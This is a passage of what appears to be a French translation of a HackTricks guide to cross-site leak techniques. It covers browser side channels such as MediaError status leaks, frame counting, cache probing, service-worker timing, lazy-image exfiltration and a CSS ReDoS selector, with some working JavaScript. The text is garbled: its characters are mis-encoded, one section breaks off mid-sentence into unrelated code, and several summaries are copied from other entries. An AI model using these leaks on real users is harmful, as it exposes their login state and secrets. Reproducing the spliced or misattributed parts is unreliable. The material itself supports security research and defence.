- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
Dans certains cas, l'entrĂ©e nextHopProtocol peut ĂȘtre utilisĂ©e comme une technique de fuite. Dans GC, lorsque l'en-tĂȘte CORP est dĂ©fini, le nextHopProtocol sera vide. Notez que SA ne crĂ©era pas d'entrĂ©e de performance du tout pour les ressources activĂ©es par CORP.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: Utilisation de l'API
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: Détecter si un service worker est enregistré pour une origine spécifique.
- Code Example:
Les service workers sont des contextes de script déclenchés par des événements qui s'exécutent à une origine. Ils s'exécutent en arriÚre-plan d'une page web et peuvent intercepter, modifier et mettre en cache des ressources pour créer des applications web hors ligne.
Si une ressource mise en cache par un service worker est accédée via iframe, la ressource sera chargée à partir du cache du service worker.
Pour dĂ©tecter si la ressource a Ă©tĂ© chargĂ©e Ă partir du cache du service worker, l'API de Performance peut ĂȘtre utilisĂ©e.
Cela pourrait Ă©galement ĂȘtre fait avec une attaque de chronomĂ©trage (voir le document pour plus d'infos).
Cache
- Inclusion Methods: API Fetch
- Detectable Difference: Chronométrage
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: Il est possible de vérifier si une ressource a été stockée dans le cache.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
En utilisant l'API de Performance, il est possible de vérifier si une ressource est mise en cache.
Durée Réseau
- Inclusion Methods: API Fetch
- Detectable Difference: Contenu de la page
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary: Il est possible de rĂ©cupĂ©rer la durĂ©e rĂ©seau d'une requĂȘte Ă partir de l'API
performance
. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Technique des Messages d'Erreur
Erreur MĂ©dia
- Inclusion Methods: ĂlĂ©ments HTML (VidĂ©o, Audio)
- Detectable Difference: Code d'Ă©tat
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: Dans Firefox, il est possible de fuir avec prĂ©cision le code d'Ă©tat d'une requĂȘte d'origine croisĂ©e.
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
L'interface MediaError
a une propriété message qui identifie de maniÚre unique les ressources qui se chargent avec succÚs grùce à une chaßne distincte. Un attaquant peut exploiter cette fonctionnalité en observant le contenu du message, déduisant ainsi l'état de réponse d'une ressource cross-origin.
Erreur CORS
- MĂ©thodes d'inclusion : Fetch API
- DiffĂ©rence dĂ©tectable : En-tĂȘte
- Plus d'infos : https://xsinator.com/paper.pdf (5.3)
- RĂ©sumĂ© : Dans les Assertions de SĂ©curitĂ© (SA), les messages d'erreur CORS exposent involontairement l'URL complĂšte des requĂȘtes redirigĂ©es.
- Exemple de code : https://xsinator.com/testing.html#CORS%20Error%20Leak
Cette technique permet Ă un attaquant d'extraire la destination d'une redirection d'un site cross-origin en exploitant la maniĂšre dont les navigateurs basĂ©s sur Webkit gĂšrent les requĂȘtes CORS. Plus prĂ©cisĂ©ment, lorsqu'une requĂȘte activĂ©e CORS est envoyĂ©e Ă un site cible qui Ă©met une redirection basĂ©e sur l'Ă©tat de l'utilisateur et que le navigateur refuse ensuite la requĂȘte, l'URL complĂšte de la cible de la redirection est divulguĂ©e dans le message d'erreur. Cette vulnĂ©rabilitĂ© rĂ©vĂšle non seulement le fait de la redirection, mais expose Ă©galement le point de terminaison de la redirection et tout paramĂštre de requĂȘte sensible qu'il peut contenir.
Erreur SRI
- MĂ©thodes d'inclusion : Fetch API
- DiffĂ©rence dĂ©tectable : En-tĂȘte
- Plus d'infos : https://xsinator.com/paper.pdf (5.3)
- RĂ©sumĂ© : Dans les Assertions de SĂ©curitĂ© (SA), les messages d'erreur CORS exposent involontairement l'URL complĂšte des requĂȘtes redirigĂ©es.
- Exemple de code : https://xsinator.com/testing.html#SRI%20Error%20Leak
Un attaquant peut exploiter des messages d'erreur verbeux pour dĂ©duire la taille des rĂ©ponses cross-origin. Cela est possible en raison du mĂ©canisme d'IntĂ©gritĂ© des Sous-ressources (SRI), qui utilise l'attribut d'intĂ©gritĂ© pour valider que les ressources rĂ©cupĂ©rĂ©es, souvent depuis des CDN, n'ont pas Ă©tĂ© altĂ©rĂ©es. Pour que le SRI fonctionne sur des ressources cross-origin, celles-ci doivent ĂȘtre activĂ©es CORS ; sinon, elles ne sont pas soumises Ă des vĂ©rifications d'intĂ©gritĂ©. Dans les Assertions de SĂ©curitĂ© (SA), tout comme l'erreur CORS XS-Leak, un
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/frame-counting/
- Summary: Ăvaluer la quantitĂ© d'Ă©lĂ©ments iframe en inspectant la propriĂ©tĂ©
window.length
. - Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
Compter le nombre de frames dans un web ouvert via iframe
ou window.open
peut aider Ă identifier le statut de l'utilisateur sur cette page.
De plus, si la page a toujours le mĂȘme nombre de frames, vĂ©rifier en continu le nombre de frames peut aider Ă identifier un modĂšle qui pourrait divulguer des informations.
Un exemple de cette technique est que dans Chrome, un PDF peut ĂȘtre dĂ©tectĂ© avec le comptage de frames car un embed
est utilisé en interne. Il existe des Open URL Parameters qui permettent un certain contrÎle sur le contenu tel que zoom
, view
, page
, toolbar
oĂč cette technique pourrait ĂȘtre intĂ©ressante.
HTMLElements
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/
- Summary: Lire la valeur divulguée pour distinguer entre 2 états possibles
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
La fuite d'informations Ă travers les Ă©lĂ©ments HTML est une prĂ©occupation en matiĂšre de sĂ©curitĂ© web, en particulier lorsque des fichiers multimĂ©dias dynamiques sont gĂ©nĂ©rĂ©s en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutĂ©s, modifiant la taille du mĂ©dia. Cela peut ĂȘtre exploitĂ© par des attaquants pour diffĂ©rencier entre des Ă©tats possibles en analysant les informations exposĂ©es par certains Ă©lĂ©ments HTML.
Information Exposed by HTML Elements
- HTMLMediaElement: Cet élément révÚle la
duration
et les tempsbuffered
du mĂ©dia, qui peuvent ĂȘtre accessibles via son API. Read more about HTMLMediaElement - HTMLVideoElement: Il expose
videoHeight
etvideoWidth
. Dans certains navigateurs, des propriétés supplémentaires commewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
, etwebkitDecodedFrameCount
sont disponibles, offrant des informations plus détaillées sur le contenu multimédia. Read more about HTMLVideoElement - getVideoPlaybackQuality(): Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris
totalVideoFrames
, qui peut indiquer la quantité de données vidéo traitées. Read more about getVideoPlaybackQuality() - HTMLImageElement: Cet élément divulgue la
height
et lawidth
d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonctionimage.decode()
sera rejetée, indiquant l'échec de chargement correct de l'image. Read more about HTMLImageElement
CSS Property
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Summary: Identifier les variations dans le style du site web qui correspondent Ă l'Ă©tat ou au statut de l'utilisateur.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
Les applications web peuvent changer le style du site web en fonction du statut de l'utilisateur. Des fichiers CSS cross-origin peuvent ĂȘtre intĂ©grĂ©s sur la page de l'attaquant avec l'Ă©lĂ©ment HTML link, et les rĂšgles seront appliquĂ©es Ă la page de l'attaquant. Si une page change dynamiquement ces rĂšgles, un attaquant peut dĂ©tecter ces diffĂ©rences en fonction de l'Ă©tat de l'utilisateur.
En tant que technique de fuite, l'attaquant peut utiliser la méthode window.getComputedStyle
pour lire les propriétés CSS d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.
CSS History
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Summary: DĂ©tecter si le style
:visited
est appliqué à une URL indiquant qu'elle a déjà été visitée - Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
note
Selon ceci, cela ne fonctionne pas dans Chrome sans tĂȘte.
Le sélecteur CSS :visited
est utilisé pour styliser les URL différemment si elles ont été précédemment visitées par l'utilisateur. Dans le passé, la méthode getComputedStyle()
pouvait ĂȘtre utilisĂ©e pour identifier ces diffĂ©rences de style. Cependant, les navigateurs modernes ont mis en Ćuvre des mesures de sĂ©curitĂ© pour empĂȘcher cette mĂ©thode de rĂ©vĂ©ler l'Ă©tat d'un lien. Ces mesures incluent le retour systĂ©matique du style calculĂ© comme si le lien avait Ă©tĂ© visitĂ© et la restriction des styles pouvant ĂȘtre appliquĂ©s avec le sĂ©lecteur :visited
.
Malgré ces restrictions, il est possible de discerner l'état visité d'un lien de maniÚre indirecte. Une technique consiste à tromper l'utilisateur pour qu'il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété mix-blend-mode
. Cette propriété permet le mélange d'éléments avec leur arriÚre-plan, révélant potentiellement l'état visité en fonction de l'interaction de l'utilisateur.
De plus, la dĂ©tection peut ĂȘtre rĂ©alisĂ©e sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Ătant donnĂ© que les navigateurs peuvent rendre les liens visitĂ©s et non visitĂ©s diffĂ©remment, cela peut introduire une diffĂ©rence de temps mesurable dans le rendu. Un proof of concept (PoC) a Ă©tĂ© mentionnĂ© dans un rapport de bogue Chromium, dĂ©montrant cette technique en utilisant plusieurs liens pour amplifier la diffĂ©rence de timing, rendant ainsi l'Ă©tat visitĂ© dĂ©tectable par analyse de timing.
Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de documentation :
:visited
: MDN DocumentationgetComputedStyle()
: MDN Documentationmix-blend-mode
: MDN Documentation
ContentDocument X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Headers
- More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Summary: Dans Google Chrome, une page d'erreur dĂ©diĂ©e est affichĂ©e lorsqu'une page est bloquĂ©e d'ĂȘtre intĂ©grĂ©e sur un site cross-origin en raison des restrictions X-Frame-Options.
- Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Dans Chrome, si une page avec l'en-tĂȘte X-Frame-Options
défini sur "deny" ou "same-origin" est intégrée en tant qu'objet, une page d'erreur apparaßt. Chrome retourne de maniÚre unique un objet document vide (au lieu de null
) pour la propriété contentDocument
de cet objet, contrairement aux iframes ou Ă d'autres navigateurs. Les attaquants pourraient exploiter cela en dĂ©tectant le document vide, rĂ©vĂ©lant potentiellement des informations sur l'Ă©tat de l'utilisateur, surtout si les dĂ©veloppeurs dĂ©finissent de maniĂšre incohĂ©rente l'en-tĂȘte X-Frame-Options, nĂ©gligeant souvent les pages d'erreur. La sensibilisation et l'application cohĂ©rente des en-tĂȘtes de sĂ©curitĂ© sont cruciales pour prĂ©venir de telles fuites.
Download Detection
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Summary: Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar
L'en-tĂȘte Content-Disposition
, spécifiquement Content-Disposition: attachment
, indique au navigateur de tĂ©lĂ©charger le contenu plutĂŽt que de l'afficher en ligne. Ce comportement peut ĂȘtre exploitĂ© pour dĂ©tecter si un utilisateur a accĂšs Ă une page qui dĂ©clenche un tĂ©lĂ©chargement de fichier. Dans les navigateurs basĂ©s sur Chromium, il existe quelques techniques pour dĂ©tecter ce comportement de tĂ©lĂ©chargement :
- Surveillance de la barre de téléchargement :
- Lorsqu'un fichier est tĂ©lĂ©chargĂ© dans les navigateurs basĂ©s sur Chromium, une barre de tĂ©lĂ©chargement apparaĂźt en bas de la fenĂȘtre du navigateur.
- En surveillant les changements de la hauteur de la fenĂȘtre, les attaquants peuvent dĂ©duire l'apparition de la barre de tĂ©lĂ©chargement, suggĂ©rant qu'un tĂ©lĂ©chargement a Ă©tĂ© initiĂ©.
- Navigation de téléchargement avec des iframes :
- Lorsqu'une page dĂ©clenche un tĂ©lĂ©chargement de fichier en utilisant l'en-tĂȘte
Content-Disposition: attachment
, cela ne provoque pas d'événement de navigation. - En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement de fichier (pas de navigation) ou non.
- Navigation de téléchargement sans iframes :
- Semblable à la technique iframe, cette méthode implique d'utiliser
window.open
au lieu d'une iframe. - Surveiller les Ă©vĂ©nements de navigation dans la nouvelle fenĂȘtre ouverte peut rĂ©vĂ©ler si un tĂ©lĂ©chargement de fichier a Ă©tĂ© dĂ©clenchĂ© (pas de navigation) ou si le contenu est affichĂ© en ligne (la navigation se produit).
Dans les scĂ©narios oĂč seuls les utilisateurs connectĂ©s peuvent dĂ©clencher de tels tĂ©lĂ©chargements, ces techniques peuvent ĂȘtre utilisĂ©es pour dĂ©duire indirectement l'Ă©tat d'authentification de l'utilisateur en fonction de la rĂ©ponse du navigateur Ă la demande de tĂ©lĂ©chargement.
Partitioned HTTP Cache Bypass
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Summary: Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (de https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
warning
C'est pourquoi cette technique est intéressante : Chrome a maintenant le partitionnement du cache, et la clé de cache de la nouvelle page ouverte est : (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
, mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, la clĂ© de cache est diffĂ©rente, donc le cache ne peut pas ĂȘtre partagĂ©. Vous pouvez trouver plus de dĂ©tails ici : Gaining security and privacy by partitioning the cache
(Commentaire de ici)
Si un site example.com
inclut une ressource de *.example.com/resource
, alors cette ressource aura la mĂȘme clĂ© de cache que si la ressource Ă©tait directement demandĂ©e par navigation de niveau supĂ©rieur. Cela est dĂ» au fait que la clĂ© de cache est constituĂ©e de eTLD+1 de niveau supĂ©rieur et de eTLD+1 de frame.
Parce qu'accĂ©der au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) aprĂšs. Si l'origine a Ă©tĂ© changĂ©e aprĂšs l'arrĂȘt, cela signifie que la ressource a Ă©tĂ© mise en cache.
Ou pourrait simplement envoyer un fetch Ă la page potentiellement mise en cache et mesurer le temps qu'il faut.
Manual Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Redirects
- More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Summary: Il est possible de dĂ©couvrir si une rĂ©ponse Ă une requĂȘte fetch est une redirection
- Code Example:
Fetch with AbortController
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Summary: Il est possible d'essayer de charger une ressource et d'interrompre le chargement avant qu'il ne soit terminé. Selon si une erreur est déclenchée, la ressource a été ou n'a pas été mise en cache.
- Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Utilisez fetch et setTimeout avec un AbortController pour détecter si la ressource est mise en cache et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.
Script Pollution
- Inclusion Methods: HTML Elements (script)
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Summary: Il est possible de surcharger des fonctions intĂ©grĂ©es et de lire leurs arguments mĂȘme depuis un script cross-origin (qui ne peut pas ĂȘtre lu directement), cela pourrait divulguer des informations prĂ©cieuses.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Mesurer le temps d'exécution d'un web en utilisant des service workers.
- Code Example:
Dans le scĂ©nario donnĂ©, l'attaquant prend l'initiative d'enregistrer un service worker dans l'un de ses domaines, spĂ©cifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenĂȘtre sur le site web cible depuis le document principal et demande au service worker de commencer un chronomĂštre. Alors que la nouvelle fenĂȘtre commence Ă se charger, l'attaquant navigue vers la rĂ©fĂ©rence obtenue dans l'Ă©tape prĂ©cĂ©dente vers une page gĂ©rĂ©e par le service worker.
Ă l'arrivĂ©e de la requĂȘte initiĂ©e dans l'Ă©tape prĂ©cĂ©dente, le service worker rĂ©pond avec un code d'Ă©tat 204 (No Content), terminant effectivement le processus de navigation. Ă ce stade, le service worker capture une mesure du chronomĂštre initiĂ© plus tĂŽt Ă l'Ă©tape deux. Cette mesure est influencĂ©e par la durĂ©e du JavaScript causant des retards dans le processus de navigation.
warning
Dans un timing d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: Utilisez performance.now() pour mesurer le temps qu'il faut pour effectuer une requĂȘte. D'autres horloges pourraient ĂȘtre utilisĂ©es.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing (généralement dû au contenu de la page, code d'état)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: Utilisez performance.now() pour mesurer le temps qu'il faut pour effectuer une requĂȘte en utilisant
window.open
. D'autres horloges pourraient ĂȘtre utilisĂ©es. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
With HTML or Re Injection
Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTML cross-origin en injectant du contenu HTML. Ces techniques sont intĂ©ressantes dans les cas oĂč pour une raison quelconque vous pouvez injecter du HTML mais vous ne pouvez pas injecter de code JS.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret, vous devriez vérifier les techniques de balisage pendantes courantes.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractĂšre par caractĂšre (peut-ĂȘtre que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.
Les images en HTML ont un attribut "loading" dont la valeur peut ĂȘtre "lazy". Dans ce cas, l'image sera chargĂ©e lorsqu'elle sera vue et non pendant le chargement de la page :
<img src=/something loading=lazy >
Par conséquent, ce que vous pouvez faire est d'ajouter beaucoup de caractÚres inutiles (par exemple des milliers de "W") pour remplir la page web avant le secret ou ajouter quelque chose comme <br><canvas height="1850px"></canvas><br>.
Ensuite, si par exemple notre injection apparaĂźt avant le drapeau, l'image serait chargĂ©e, mais si elle apparaĂźt aprĂšs le drapeau, le drapeau + les caractĂšres inutiles empĂȘcheront son chargement (vous devrez jouer avec la quantitĂ© de caractĂšres inutiles Ă placer). C'est ce qui s'est passĂ© dans ce rapport.
Une autre option serait d'utiliser le scroll-to-text-fragment si cela est autorisé :
Scroll-to-text-fragment
Cependant, vous faites en sorte que le bot accĂšde Ă la page avec quelque chose comme
#:~:text=SECR
La page web sera quelque chose comme : https://victim.com/post.html#:~:text=SECR
OĂč post.html contient les caractĂšres indĂ©sirables de l'attaquant et une image Ă chargement paresseux, puis le secret du bot est ajoutĂ©.
Ce texte fera en sorte que le bot accĂšde Ă tout texte sur la page contenant le texte SECR
. Comme ce texte est le secret et qu'il est juste en dessous de l'image, l'image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le secret caractÚre par caractÚre.
Un exemple de code pour exploiter cela : https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Chargement d'Image Paresseux Basé sur le Temps
S'il est impossible de charger une image externe qui pourrait indiquer Ă l'attaquant que l'image a Ă©tĂ© chargĂ©e, une autre option serait d'essayer de deviner le caractĂšre plusieurs fois et de mesurer cela. Si l'image est chargĂ©e, toutes les requĂȘtes prendraient plus de temps que si l'image n'est pas chargĂ©e. C'est ce qui a Ă©tĂ© utilisĂ© dans la solution de ce rapport rĂ©sumĂ©e ici :
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
Si jQuery(location.hash)
est utilisé, il est possible de découvrir via le timing si un contenu HTML existe, car si le sélecteur main[id='site-main']
ne correspond pas, il n'est pas nécessaire de vérifier le reste des sélecteurs :
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
Injection CSS
DĂ©fenses
Il existe des atténuations recommandées dans https://xsinator.com/paper.pdf ainsi que dans chaque section du wiki https://xsleaks.dev/. Consultez ces ressources pour plus d'informations sur la façon de se protéger contre ces techniques.
Références
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.